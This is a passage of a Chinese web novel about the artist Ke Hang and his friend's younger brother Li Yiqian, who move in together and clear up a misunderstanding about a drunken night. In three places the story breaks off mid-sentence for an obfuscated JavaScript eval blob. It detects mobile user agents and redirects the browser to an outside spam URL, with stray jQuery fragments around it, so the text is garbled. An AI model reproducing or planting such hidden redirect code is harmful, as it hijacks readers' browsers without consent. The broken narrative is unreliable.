“……”柯杭指着自己,“所以我这儿成托儿所了?” 李一妍笑了笑:“你不也挺乐呵的嘛。” 柯杭还是不太放心,“你确定是跟你爸妈去旅游?” 主要是李一妍有前科,之前跟家里说和自己去旅游,结果是跑到千里之外找对象约会,他实在是怕。 而且那两口子那么忙,怎么可能有时间家庭旅游。 李一妍表示不解:“不信你打电话问问?” 柯杭立马拿手机给李一妍老妈拨去电话核实,得到了肯定的答案,夫妻俩凑巧要出差去国外,带女儿一块儿去玩一圈。 “你看我说吧。”李一妍抛给他个白眼。 他的通话按的免提,手机里的女声又响起:“杭杭啊,一谦不和我们一块儿,就麻烦你帮忙看着点了。” 柯杭忽略李一妍有些得意的表情,“嗯,我知道,放心吧。” 挂了电话后,柯杭看了眼外面的日头,难得的阴天,“我在想要不要开车送你去高铁站。” 柯杭有辆代步车,保研成功后,他姐刚好换车,把旧的送他了。平时他懒得开,停在工作室附近没怎么管,只有去写生的时候才会用。 李一妍看了眼时间,爽快答应:“好啊,顺带还能接上二谦。” 听到熟悉的名字,柯杭还是忍不住叹气,“他几点到?” “五点的样子吧,我买的五点的票。”李一妍看了眼手机,“现在三点,过去一小时,算上堵车,差不多。” 柯杭问:“不回酒店拿东西?” 李一妍往门外走:“不拿。别以为谁都跟你一样能睡到中午,早上我就把画和东西都寄走了。” “……” 柯杭在工作室找了十分钟钥匙,两人一起出门。 车上李一妍忽然说,“如果我弟弯了你俩就能凑一对了。” “别想了,小屁孩儿一个。” “嘿,我们一谦,要身材有颜,要颜有钱,要钱有身材,近水楼台先得月。” 柯杭无语:“停止这个假设,我怕你爸妈和我爸妈追着我砍,说我带坏小孩儿。” 李一妍哈哈大笑,没再说了,而是给李一谦打了个视频。 李一谦的拨号铃声是他喜欢的一首音乐前奏,视频过了有半分钟才被接通。 许久没听过的声音响起:“怎么了姐?” 柯杭莫名有些怀念。 “到哪儿了?”李一妍问,又把镜头移向开车的柯杭,“来,给你杭哥打个招呼。” “杭哥。” 碍于正在驾驶,柯杭不好去看李一谦现在成了什么模样,也不想去回应他的招呼。 他抬了抬胳膊,“开车呢,边儿去。” “行行行。”李一妍对手机里说,“等会儿柯杭刚好把你接回去。现在呢,姐姐再来跟你讲一下,你的任务。” “嗯?” 车载音响连了李一妍手机的蓝牙,包括现在,李一谦的声音在车内4D环绕,抓耳得很。 柯杭忽然开口:“把你蓝牙关了。” 李一妍啧啧两声,把蓝牙断开,继续和自家弟弟说:“我帮你谈好了,你每天只需要像以前一样把他伺候好就行了。” “什么叫像以前一样伺候我?”柯杭不满地打断她。 李一妍举起手,说一句按一根手指:“打扫卫生、按摩、洗笔和调色盘、当模特。” “哦。”李一妍恍然大悟,跟弟弟说,“现在你还得给他洗衣做饭了。” 柯杭听见手机那头笑了一声:“好,没问题,我四点半就能到高铁站。” “……”声音怎么这么大,算了,根本没人在意他。 说的李一谦跟他童养夫一样。 因为柯杭故意逃避镜头,所以没注意手机的屏幕一直对着他,他的皱眉或是撇嘴都落在李一谦的眼里。 好不容易送走李一妍这尊大佛,他又在高铁站外和出租车司机们一起等人出来。 等了几分钟他就不耐烦了,把车挪到一家便利店门口,给李一谦拨电话。 这回对面接的很快。 “哥?” 柯杭抱臂,偏头看向高铁站的方向:“哪儿呢你。” “快出来了,我刚想给你打电话,你在哪儿?” 哦,没给他说车牌。 柯杭记不住自己的车牌号,只记得颜色,看了看四周,说:“东广场附近,一家24时便利店门口,旁边有家连锁酒店,黑色瑞虎,车牌尾号可能是79?” “好,哥你先别挂,我找找。” 柯杭应了声,想到了刚和李一妍聊天,“你姐说你拿到驾照了?” “拿到了。” 柯杭点点头,“技术怎么样?” 那边似乎有些犹豫,“刚拿到一星期。” “那还是算了,快来吧,我犯困,想睡觉。”他还想着李一谦要是能开车他就躺后面去睡觉,避免闲聊呢。 他话刚说完,车窗就被叩响。 放下车窗,柯杭看见李一谦的脸,对方弯着腰,朝他笑,“找到你了。” “来了啊。”柯杭干巴巴地说。 李一谦点头,看着挺高兴的:“哥,开下后备箱,我放行李。” 放好行李箱后,李一谦自觉坐到副驾,将防晒衣脱掉后,系完安全带开始没话找话,“哥,你等会儿还有事吗?我们先回家吗?” 柯杭的面无表情让他有些委屈,他问:“哥,你不会反悔不让我跟你一起住吧?黄阿姨……” 车内放着摇滚音乐,很热闹,但柯杭觉得,这些都不如李一谦的委屈话语更震耳欲聋。 他调低音量,应了声:“回。” “哦哦,那家里有菜吗?”李一谦又问。 如果没菜的话需要去买些,不然下午做不了饭了。 柯杭觉得他叽叽喳喳的,心里乱得很,目不转睛地盯着前方,右手伸到旁边给了胳膊一巴掌:“闭嘴,到家前不准说话。” 副驾上换了个人,连路程都变长了不少。明明放着歌,却觉得安静。 柯杭往边上瞥了一眼,发现那人衣服随便团了团放在腿上,抱着胳膊,指尖在一处红晕上打转,偏头看向窗外,不再看他了。 深知“打一巴掌给颗糖”的柯杭,决定挽救一下这位忧郁少年。 在红绿灯处停下时,他盯上对方腿上的防晒衣,问:“外套要不要放后座?” 几乎他一开口,李一谦就转了过来,眼周泛红,但不说话,嘴撅着一副可怜巴巴的样子。 柯杭有些无语,让李一谦不说话,他还真就一个字都不说。 “行了,可以说话了。” “不放。” “行。” 相安无事了几分钟,李一谦又开始说话了:“你对我态度有点不好,我来你不开心了吗?” 柯杭把他的话在脑袋里过了一遍。 哦,说话简洁一点是态度不好,让闭嘴就是他来了不开心了。他之前怎么没发现这小孩儿那么敏感呢? 算了,还是哄哄。 “没有。”柯杭伸手去碰他手臂,上下摸了摸,发现温度一样,“这不已经好了嘛,别气了。” “没生气。” 柯杭倒也没全信,绞尽脑汁想了想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248881|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“我确实心情一般。” 李一谦问:“为什么?” “反正不是因为你。” 昨晚不小心在沙发上睡着,早上掉下沙发被摔醒,中午吃了难吃的饭,下午还当两三个小时司机,谁开心得起来。 车内好长一段时间没人说话,离家还有十分钟时,柯杭问:“去超市还是去菜市场?” 超市明码标价,菜市场也就是农贸市场,可以砍价。柯杭搞不来复杂的菜,平时最多跟着朋友买点食材煮火锅。 见李一谦还望向窗外,他气不打一处来:“你不是要买菜么,去哪里买?” 李一谦看向他:“你平时去哪儿?” “我平时不自己买菜。” “那我们还是去超市吧。” 生鲜超市附近,柯杭指着一个方向,“等会儿你先下,我去停车。” “为什么不一起?” 柯杭想了想,也行。 把车停好后,柯杭偏向李一谦的位置,看了眼防晒衣,“家那边很热?” 李一谦注意到他的视线,有些不自在,“热,那边高温了。” “哦。” 两人进了超市,柯杭看着李一谦挑挑选选,心里还是有些质疑的:“你确定你会做饭?我总感觉你姐在驴我。” 李一谦丢给他一个“放心”的眼神,坚定道:“信我。” “呃……” 柯杭很难形容自己现在的心情,因为在他印象中,李一谦不仅没做过饭,味觉也有问题。 三年前,他跟李一谦还是何等的兄友弟恭,国庆放假,李一妍跟对象旅游,李一谦个小可怜儿就只有在家里。 柯杭国庆不准备回去,爹妈哥姐不知道在哪儿飞,他回去也是自己一个人,最多有个李一谦陪他。 卡在假期中间有个画展,他也不准备回去,索性问李一谦要不要坐高铁到他这边来。 柯杭平时晚上饿了点外卖,实在太晚就吃零食。 那天很晚了,他从卧室出来发现李一谦的房间灯还亮着,去敲门发现人还没睡。 柯杭看着床上的人,问:“饿不饿?” “你饿了吗哥?”李一谦在床上呆愣愣的。 柯杭:“一点点,你饿了的话我去煮面。” 李一谦毫不犹豫地点头,“饿了。” 柯杭在厨房里倒腾了十几分钟,端出两碗面,不知道调料放好没,盐和生抽放的够不够。他难得进一次厨房,还是稍微有点操作的煮面,试探着吃了第一口,被酸得吐舌头。 一旁的李一谦看到了,去厨房舀了碗面汤出来,“兑点?” 柯杭把碗推过去,“你来,太酸了。” 他转念一想,自己这碗都这样了,李一谦那碗能好到哪儿去?他伸手挑了一筷子李一谦那碗,吃进嘴里,话都忘了说。 李一谦把和好的面放回他面前:“……?” 柯杭:“……”好他妈难吃。 柯杭放下筷子,建议道:“别吃了,太难吃了。”又把自己这碗重新推到李一谦面前,“吃这个。” “那你呢?”李一谦问。 柯杭看了眼那碗没色没味不香的面,摇头:“我不吃了。” 后续就是,他把自己那碗不那么酸的面吃完了,李一谦也把那碗盐汤比例失调的失败品吃完了,还说味道不错。 他惊讶了,质疑了,最后接受了。 李一谦可能味觉有些问题,或者有异食癖。 所以现在陪着说自己会做饭的李一谦逛着超市的柯杭,有些茫然,还有些害怕。 柯杭受不了跟李一谦推着购物车一起买菜的氛围,总觉得怪怪的,中途便绕到另一个区域买水果了。 买几个回去当静物参照。 摩挲着手上的苹果,他想,目前他和李一谦的相处,在各方面都没什么问题,像以前一样。 那么他是不是也可以像李一谦一样,当作两人没发生过那件事呢?后面还要一起住两个月,总记挂着这件事也不利于他心平气和的对待李一谦。 虽然没什么印象,但至少不那么疼,跟他平时自己动手差不多,大点而已。 当柯杭意识到自己想什么的时候,深吸了一口气。 柯杭,换个脑子吧,外面全是李一谦。 你这样还怎么堂堂正正啊。 5. 真相是假 回到家,柯杭指挥人去厨房放东西,又把人叫到门口来录指纹。 “密码是790117,记住了吗?”柯杭拍拍他的肩膀,“晚上煮个面就行了。” 他这一来一回,阳台已经染上傍晚的霞光。 柯杭去厨房把自己的水果抱出来放到阳台上。 忽然想起什么,把刚收拾好冰箱的李一谦拉出来,指了指次卧的门,“你晚上睡那儿。” 李一谦低着头,垂着眼,“热。” 柯杭在心里翻了个白眼。 难道他不知道吗? 之前李一谦来的时候,俩人都是一块儿睡的。 一是李一谦就呆几天,二是因为主卧才有空调,他也不舍得让人自己在次卧热着。 关键是现在不一样啊。 李一谦他不知道,但他现在是绝对做不到心无旁骛地跟李一谦盖一床被子睡觉。 太基了。 柯杭笑脸相迎,“有风扇,而且通风,晚上睡觉不那么热。” 假的,还是热,只不过没有那么热。 “以前你都让我和你一块儿睡的。”李一谦有些委屈。 柯杭在心里给了自己一拳,还是没松口,“以前是以前,现在是现在,我自己睡惯了,委屈你了啊。” 说着就推着李一谦回厨房,“做饭去吧孩子,去做饭吧,啊。” 厨房是的门正对着客厅,推拉式的玻璃门,坐在沙发上就可以透过玻璃门将厨房看得一清二楚。 柯杭躺在沙发上,手里举着手机,视线时不时落到厨房。 他翻了个身,趴在沙发上,搓了搓脸,试图平复自己有些躁动不安的心。 以前在家时常和李一谦呆一起,他也有偶尔发呆的时候。当他观察李一谦时,不由自主地就想记录下来。 趴在茶几上做作业、到厨房去洗水果、坐在沙发上背书又或是走向他时,这么一年一年,他看着李一谦长大。 李一谦似乎也越来越黏着他,有手机的时候每天给他发消息,晚上下课后也会去排队给他打电话聊天。 这么一想,柯杭觉得自己像个罪人。多好的兄友弟恭,硬生生被他整变味了。 柯杭闭上眼,开始想后面两个月怎么过。 李一谦从厨房出来时,看到的就是柯杭趴在沙发上睡着了的画面。 本来想问柯杭吃多少的,这会儿看来已经不用了。 柯杭的睡眠质量很好,不容易被吵醒,但李一谦还是小心翼翼地提着自己的行李箱去了次卧。 把行李箱放平在地上后,他环视四周,角落堆了几挪画,李一谦并不准备现在去看。 他站在次卧门口,倚在门框上看向沙发,用视线描摹那人的身形。 柯杭回来换了条短裤穿,露在空气中的小腿颜色深浅不匀。他很白,如果不是喜欢出门写生还不爱做防晒的话,可能还要再白一些。 傍晚温度又降了些,阳台的窗户是柯杭出门前打开的,吹响茶几上被压住一角的纸张。 李一谦从行李箱内挑了一件薄衬衣,走到沙发边给柯杭搭上,他蹲在一旁定定看了几分钟后,才又起身回到房间门口。 他不知道自己看了多久,直到窗外远处的灯光亮起,屋内彻底昏暗,他才如梦初醒。 李一谦打开次卧的灯,轻巧麻利地收拾好东西,在柯杭有翻身的趋势时快步走到沙发旁用腿抵住他的身体。 好险,差点掉地上了,如果那样,杭哥肯定很痛。 柯杭却没停下翻身的动作。平时在沙发上,他醒来要起床时都会习惯性翻身,让半边身子悬空,再用手撑住地板起来。 这一觉睡得不算好,这个睡姿不是他平时习惯的。准备起床时,身体却被抵住了,但手已经伸出去了,摸到了粗糙的布料,他还没反应过来是什么,手就反射性又摸摸拍拍几下。 下一秒,他的手就被热度更高的手握住,然后是他梦里的声音,“哥,醒了,你差点掉下沙发了。” 空气寂静,柯杭的手僵住了。 还没睡醒? 还在做梦? 他睁开眼,扭头一看,脑子瞬间清醒了。 柯杭猝地收回手,客厅还是昏暗一片,唯一的光亮来源是次卧。 他不敢抬头看李一谦的神色,不尴不尬地开口,“我睡了多久?” 李一谦垂眸看向自己的手,估摸了个时间,“两三个小时吧。” 回家的时候都七点过了,两三个小时,都十点了,李一谦竟然也不叫他吃饭。 恍然间,他想到个可能,仰头皱眉问:“你不会还没吃饭吧?” 李一谦怔了一瞬,“没。” 柯杭看他那模样,气不打一处来,指示道:“去开灯。想吃什么我点外卖。” “不用。”李一谦去开灯,又独身进入厨房,“很快。” 柯杭摸了摸肚子,有些饿了,便问:“很快是多久?” 厨房里,李一谦麻溜地将变凉的水重新烧开,听到柯杭的问题笑了笑,“十分钟。” 柯杭咂咂嘴,行吧,点外卖至少要等半小时呢。 十分钟不到,李一谦就端着一盆面出来。 柯杭:“?” 他怎么看不明白。 “什么意思?”柯杭指着面问。 李一谦:“哥你先过来坐。”说完他又折返回厨房,拿了两副碗筷,端了一盘凉拌黄瓜。 “哇哦。”柯杭很捧场,接过碗筷,先夹了一块黄瓜,脆脆的,也很入味,“不错。” 柯杭从不吝啬自己的夸赞。 李一谦笑了笑,拿筷子开始挑面,装了大半碗后又舀了点汤进去,随后把碗推到柯杭面前,“试试?” 柯杭也不客气,把自己的空碗放过去。 在凉拌黄瓜的促使下,他选择相信李一谦的厨艺,挑了一口面吃。 味道竟然不错,和外面饭店吃的杂酱面差不多。 李一谦不动声色地观察着柯杭,看到对方眯起眼,心知合对方口味了。 “你姐干美食怎么没想到挖掘你呢?”柯杭喝完最后一口汤,随口说道。 李一谦说:“可能因为我在上学吧。” “那她说你拿了驾照又是怎么回事,你不可能二十天没到就拿到了吧?” 八号高考结束,现在才二十多号,哪有那么快的?柯杭当时在学校学的,花了半年多才拿到驾照。 “没,去年就报名了,哥你一年没回去,我放假的时候不知道该干什么,能考的就都考了。” 柯杭:“啊?” 诶,不是,我,又跟我有关系了?为什么不回去你心里没点数吗? 这时李一谦才抬头看他,眼角有些湿润。 “你这是干嘛啊?”柯杭看他要哭不哭的样子,傻眼了。 李一谦没掉眼泪,话说得让人心疼:“我不知道我做错了什么,你就突然不理我了,连放假都不回来了。” “呃。”柯杭心虚地想,难不成现在就要说破?那之后相处多尴尬。 而且吃人嘴短,更何况还很好吃,他决定暂时不跟李一谦一般见识。 “哥,”李一谦叫他,说话已经带上哭腔,“那天明明是你要我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248882|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮你,我帮了,你却不理我了,这是什么道理?” 柯杭气血上涌,宛如带了三个熊孩子的德华。 “你……” “你还把我按在床上说要上我。”李一谦豆大的眼泪落下。 柯杭张大了嘴,连忙从旁边扯了张纸巾起身去擦李一谦的眼泪,“哭什么啊?”坐回凳子上才讪讪道:“我都喝醉了哪有力气上你啊。” “你亲我了。”李一谦红着眼盯着他,继续哽咽,“我问你怎么了,你话都不说就过来亲我,我身上全是你留下的痕迹。” 柯杭确实没有这段记忆,眼神飘忽:“呃……” 但转念一想,不对啊,被上的又不是李一谦,他哭什么啊。 他刚要开口,李一谦又委屈地说:“柯杭,你真的很奇怪。” “我?”柯杭被他的眼泪刺痛,也没想起去提醒称呼问题,“我怎么了?” “你前几年说喜欢腊梅香,于是我在老家种了一棵,想着开花了给你,去年好不容易开花了,你不回来了。” 柯杭看着他:“嗯,然后呢?” “你说画画的时候不喜欢有人吵闹,所以我每次都安安静静,等你揉肚子时才喂你东西吃。” “这又怎么了?”柯杭不解。 李一谦眼神控诉:“你说想谈恋爱,问我为什么还没成年,我说让你等我,你哈哈大笑说开玩笑。醉酒那次你又说了,于是我问你要不要和我谈恋爱,你扇我一巴掌说想什么呢。” 李一谦盯着面前的空碗,喃喃道:“是啊,我想什么呢?” 柯杭越听越离谱,前两个他知道,没什么问题。关键是这什么谈恋爱的,这不是之前李一妍让他找对象他随口玩笑说李一谦都没成年他找什么找。 不是,在李一谦嘴里他怎么那么像个渣男? 他张了张嘴,发现不知道说什么好了,“呃……” 在李一谦沉默的时候,他终于在脑中捕捉到一丝清明:“我俩当时都那样了,再见面不是很尴尬吗?” “哪样?”李一谦不依不饶,“我们哪样了?” 柯杭本想给两人都留留面子,属实没想到李一谦是这样撕破脸皮的聊天方式。 算了,点破也好。 物极必反,说不定这尴尬关系触底反弹回归正常了呢。 柯杭让自己的声音尽量保持平静:“我俩不是上床了吗?” “什么时候?”李一谦愕然。 柯杭:“啊?就我喝醉酒那天,我第二天不是在你房间醒的么……柜子上还有你买的涂那里的药。” 李一谦沉默了一瞬,幽幽地看着他:“你以为我们发生性关系了,所以躲了我一年?” “难道不应该吗?”柯杭没想到他那么直白的说了出来,“那我该怎么样?不该避嫌,该等你回来要你对我负责或着说我对你负责?” 话一说出口,柯杭在心中忏悔,对不起了这不是哥的本意。 李一谦看着对方有些发抖的手,竟是笑了:“我不知道你避哪门子嫌,过年连家都不回,是我错了吗?是我不该顺着你吗?” “顺着你,你要跑,不顺着你,你不开心。哥,我能怎么样呢?或者说,你想要我怎么样呢?” 柯杭自认为还算冷静,想了想后,开口道:“一笔勾销?继续像以前一样兄友弟恭?” 李一谦:“不可能。” 柯杭觉得李一谦好难搞,根本不像小时候一样好哄。 他控制住脾气,“那你想怎么样呢?” 李一谦大言不惭:“你得对我负责。” 柯杭:? 6. 真相是真 柯杭郁闷:“我对你负哪门子责?” 是我上的你?难道是我强迫的你?完全可以不插进来的啊。 “对我被你误解的这一年负责。”李一谦有些委屈,倔强地盯着柯杭。 柯杭被他目光刺痛,有些揪心,放低了嗓音:“我冤枉你了?那晚是怎么回事?” “你以为是怎么回事?” 柯杭觉得不对,怎么被牵着鼻子走了? 正要反驳,李一谦又委屈巴巴道:“那天我正在刷题,听到有人开门,我就知道是你来了。” 自从李一妍上大学后,家里大部分时间只有他一个人。父母常年出差,姐姐在外上学,自己高中住校。 偶尔周末他也会和朋友出去玩,学点别的东西来填充空余时间。 累的时候他喜欢躺在房间里,出神地看着墙上挂的画,几乎全是柯杭的作品。 看向每幅画时,当时的场景都会重现出来。 那天晚上他正看着桌面上的小画,柯杭用油画棒给他画的四宫格,春夏秋冬。他很喜欢,买了个小画框装起来放在桌边。 柯杭就是在这个时候敲门进来的,对他说喜欢要他亲,为他的房间增添色彩。 “你敲门后直接进了我的房间,你抱着我说’想’,我不知道你想什么,我问你,你说想亲想抱,想睡觉。我把你带到床上,没想到是我理解错了。” 一抹艳红默默爬上柯杭的耳根,当事人第一次知道真相,很是红温。 李一谦盯住那处红:“我说你醉了,你说我不喜欢你,你问我喜不喜欢你,我说喜欢,你让我别拒绝你,我说好。” “所以没发生什么?”柯杭不可置信,那他屁股怎么回事? “你如果是说那个药的话……”李一谦难得带点羞涩,“因为我去洗澡的时候没看住你…” “呃。”柯杭听不下去了,打断他,试图辩解,“酒后胡言乱语行为不受控……” 意思就是,他跟李一谦,他们两个人,并没有发生关系。 那晚的错事只有他当着李一谦的面动手,不仅弄伤了还被发现了,所以他醒来床边有药。 他妈的,怎么能这么尴尬。 比上了床还尴尬。 李一谦张了张嘴,手里攥着纸巾的手紧了紧,眉眼低顺,“可是你误会了我好久。” 柯杭一时也不知道怎么办了,起身往房间走,“你等我消化消化。” 门一关,柯杭靠着墙坐下,抱着腿不知道在想什么。 除了尴尬还是尴尬。 天呐。 如果俩人上床了,勉强能算个你情我愿,他柯杭难道真能逼李一谦硬着上自己吗? 显然不能。 李一谦那时候都快有他高了,为了强身健体从小就学散打,他不信自己能强迫得动人家。 但现在的情况是,他们没有发生关系,并且身后的伤也是自己弄的。 柯杭不知道自己喝醉酒后是什么样子,但知道李一谦是什么德行。如果他有需求,在不违背道德的情况下,李一谦铁定会帮他的。 但他已经听不下去了。 原以为是两个受害者,没想到只有李一谦一个。 门外,李一谦收拾残局后又洗碗,这点儿声音都传进柯杭的耳内,干扰他的思绪,他抱住脑袋反思。 隔了不知道多久,门被轻轻敲了敲。 “杭哥?睡了吗?要不要吃点水果。” 柯杭忽然噌地站了起来,打开门,盯着李一谦:“你说你喜欢我?” “对。”李一谦坦然点头,手中还端着一盘切好的橙子。 “哦。”柯杭想,弟弟对哥哥的喜欢嘛,他知道。以往的事情最尴尬的还是他,但为时不晚,说清楚后还是好兄弟。 “但是我还是要说,”柯杭开口,“我喜欢男的,我们还是保持点距离好。过去的事情就过去了,之前是我耿耿于怀了,对不起。所以,我们还是像以前一样,行不行?” 李一谦:“?”怎么没听明白。喜欢男的是吧? 李一谦忽然说:“我是男的。” 柯杭没懂他:“我知道你是男的,然后呢?” 李一谦看着他,认真地重复:“我说我是男的。” “呃?你是女孩儿我以前也不至于喜欢逗你哭啊。” “没什么。”李一谦叹了口气,将手中的果盘举起,“吃吗?” “吃。”柯杭接过盘子,往书桌走。 两人这就算说开了。 柯杭觉得俩人可以回到那件事发生之前的状态了,李一谦觉得自己在这条路上长路漫漫。 “今晚还要画画吗?”李一谦问。 柯杭睡了一觉,现在挺有精神的,但明天下午还有考试,想了想,诚实道:“想睡,但刚睡饱了。” 果盘被放在一边,李一谦打开平板和电脑,随口道:“我画一会儿就睡,明天下午有考试,不能睡太晚。” 他连接好两个设备,回复完工作群的消息,发现李一谦还在他身后,他摆摆手:“洗漱睡觉去,折腾一天了。” “你准备画多久?”李一谦说,“洗漱完我能来看你画画吗,像以前一样。” “两小时吧。”柯杭又嗯嗯两声当作回答。 — 连着几天的雨让天气沉闷起来,连空气都潮湿黏人。 柯杭睁开眼,发现身体有些沉重,还黏糊糊的,不舒服。 那晚李一谦留在他房间睡后,第二天老老实实地睡次卧了。他这几天忙着考试,除了晚上想出去兜风的时候会问李一谦要不要一起,也没什么交流了。 他简单收拾了一下,很快起床出了房间,今早是最后一堂考试。 李一谦倒是个满分室友,饭做了,家务做了,原来杂乱的客厅和次卧也都井井有条。让柯杭想起前年国庆,李一谦来找他的那次。 那几天家里像现在一样有序。 次卧的门开着,一览无余,没看见李一谦,他扭头望向厨房。 李一谦穿着条短裤,上半身连个背心都没穿,围着条围裙,蝴蝶结绑在腰后,肩宽背厚,手臂修长肌肉紧实,隔着这么远都能感受到上面青筋的鼓动一样。 似乎是听到柯杭出门的动静,李一谦转过头来,面带惊讶:“哥,醒这么早?” 柯杭的眼睛仿佛开启了自瞄。 李一谦竟然有胸肌? 不是,同样是天天坐着,他坐画室,李一谦坐教室,怎么身材差别那么大? “啊,等会儿有考试。”柯杭转进卫生间关上门洗漱。 洗漱台上多了不少东西,也是难得的整洁。以前台面上会有他来不及洗的画笔,擦到一半的桶或刮刀。 田螺少年,柯杭在心里评价道。 洗过脸后,他终于觉得清醒了不少,出卫生间拿上画包就往外走。 手臂忽然被冰凉凉的一只手握住,“很急吗?不吃了饭再走?”不等他说话,李一谦又将他掰到面前,伸手碰上他的额头,“哥,你有点烧。” “?”这是什么话,柯杭烦躁地拍开他的手,“你才骚,边玩儿去。” 李一谦有些着急又无奈,没让柯杭挣开他的手,“我说的是发烧,你额头有点烫。” “等等,我送你去。”李一谦夺过柯杭的画包自己背着,去储物柜翻出一包冲剂倒进水杯,又把早上做的蛋饼装进食品袋,拎了个帆布包示意柯杭可以出门了。 柯杭想拿回自己的包,手里却被塞了卷好的蛋饼。 李一谦:“先把这个吃了,等会儿再喝药。” 柯杭很想说,你操什么心呢,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248883|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年我生病的时候怎么没那么担心。又想到当时李一谦学业繁忙,自己又因为误会两人的关系闹别扭,联络很少,自己的锅,于是闭嘴了。 柯杭有些别扭,看都不看就说:“没胃口。” “我抹了番茄酱。”李一谦说,“如果哥不吃的话,我会难过的。” 自己吃不吃饭这个事情跟李一谦的情绪挂钩,柯杭一下子就被抬起来了。 去学校的路不近不远,开车五分钟,走路十几分钟。 柯杭早上贪睡了,差点没起来,所以准备开车去。 他拎着早饭,准备拉开主驾车门时,李一谦按住了他的手,问:“我来吧?” “你行么?”柯杭持怀疑态度。 李一谦笑了:“这几天晚上不都是我在开车吗?” 也是,柯杭有些时候晚上喜欢出门瞎逛,要不骑着楼下的共享单车逛到桥边,要不开车到更远点的夜市吃个宵夜。 那天说开了后,柯杭也没有再闹别扭不主动跟李一谦说话,所以会问李一谦要不要一起去。 李一谦从小到大都是个乖小孩儿,按时睡觉按时吃饭,从不让家里人操心。以他的视角来看,这小孩儿连个叛逆期都没有。 柯杭把钥匙递给他,默默绕到副驾,拉开车门钻进去坐好。 这会儿太阳已经很晃眼了,他打开空调,按下挡光板,心安理得坐在副驾吃早饭。 李一谦把他的画包放在后座,李一谦带着水杯坐到了他旁边,李一谦拧开了杯盖。 李一谦要让我喝药了。 “喝水。”李一谦突然开口,将水杯递到他面前。 柯杭没接,抬头看了眼他,忽然笑了。 李一谦仿佛愣了一瞬,迟迟没有动作,不自在地偏过头解释:“冲剂药效没那么强,也没什么副作用,不然不会给你选这个。” 柯杭接过杯子喝了一口,“甜滋滋的。” 李一谦的车开得很稳,柯杭有些昏昏欲睡。 “在哪栋楼考?” 柯杭偏头看了眼窗外,直起背,脑袋靠在车窗上,“艺三楼,你往前开,右边有个坡,上坡,对,往左……” 他时不时咳嗽两声,嗓子比早上还难受。 到达目的地,车停稳后,柯杭解开安全带,李一谦手伸到后座拿他的画包和一件防晒衣,又从另一个包里拿出一个口罩。 “还有一段路,穿个防晒衣。” 柯杭眼尖,看见里面还有个保温杯,觉得有些口渴,拍拍旁边人的胳膊,“哎,我有点口渴,你把包里的杯子给我吧,回去还你。” “里面装的西瓜汁,但你感冒了不能喝。”李一谦给他套上防晒衣,顿了顿,“你们教学楼有热水吗,我去接,接好了来找你。” “那西瓜汁怎么办?” “倒了。” 柯杭翻了个白眼,发现李一谦正在看他。 嗓子干咳,他正好想喝些别的,抱着画包,眨眨眼,脸上挂着笑,“我等会儿自己接,给我吧。”说完摊开手。 柯杭心里想的也很简单,他没那么娇气,以前生病还不是该怎么躁就怎么躁,区区发烧,影响不了什么,真严重的话,他连床都爬不起来。 一时间,车内只有空调呼呼吹个不停,校园的杂吵都与他们无关。 李一谦像是在沉默地审视他,“真的?” “你到底给不给?”柯杭佯怒。 要个西瓜汁跟要命一样。 “给。” 柯杭笑得真心,看着李一谦深深看了他一眼,把保温杯拿出来,拧开杯盖,仰头喝完一杯加了少量冰块的西瓜汁。 柯杭:“?”小兔崽子。 喝完后,李一谦将杯子递给他,歪了歪头,“要我去接吗?” “滚开。”柯杭摔门而走。 7. 心疼 最后一堂考试,柯杭一画完就提前交了画,挎上画包拎起防晒衣就出了考室。 他现在头晕得厉害,连呼吸都烫人,要不场合不对,他能立马闭眼躺下。 第一件事是联系李一谦,他走下楼,楼梯对面的教室空着,他想进去坐着,想想还是作罢。 柯杭走到教学楼A门,靠在墙上拨去电话。 外面大太阳,他不出去,又才不傻。 电话很快被接通,柯杭将沉甸甸的脑袋靠在胳膊上,觉得不够凉快,又抵着旁边的玻璃,看向外面,“你——” 他的声音戛然而止。 不知道是因为发烧眼花还是什么,他竟然看到了李一谦,坐在教学楼对面的树下。 那人仿佛有所感应,朝他看过来。 “杭哥?” 柯杭没听清他说了什么,只看见对面那人朝他走过来,手上还拿了个什么东西。 哦,伞。 教学楼内的人都在考试,他又提前交了卷,此时周遭只有零星几个人。 李一谦跑过来,拉住他的胳膊,“杭哥?” 触及到的皮肤滚烫,眼前的人厌仄仄的,面色潮红,李一谦直觉不对,用手背去碰他额头,“好烫。” “去医院。”李一谦拉着他就要走。 教学楼有电梯,但只能教师使用,他们的考场在五楼,柯杭下来已经是腿软了,不然不会靠墙倚着。 李一谦这一拉,他差点摔倒。 手臂上的力气更大了些,柯杭抬头看他,“没事,我回去吃药睡一觉。” 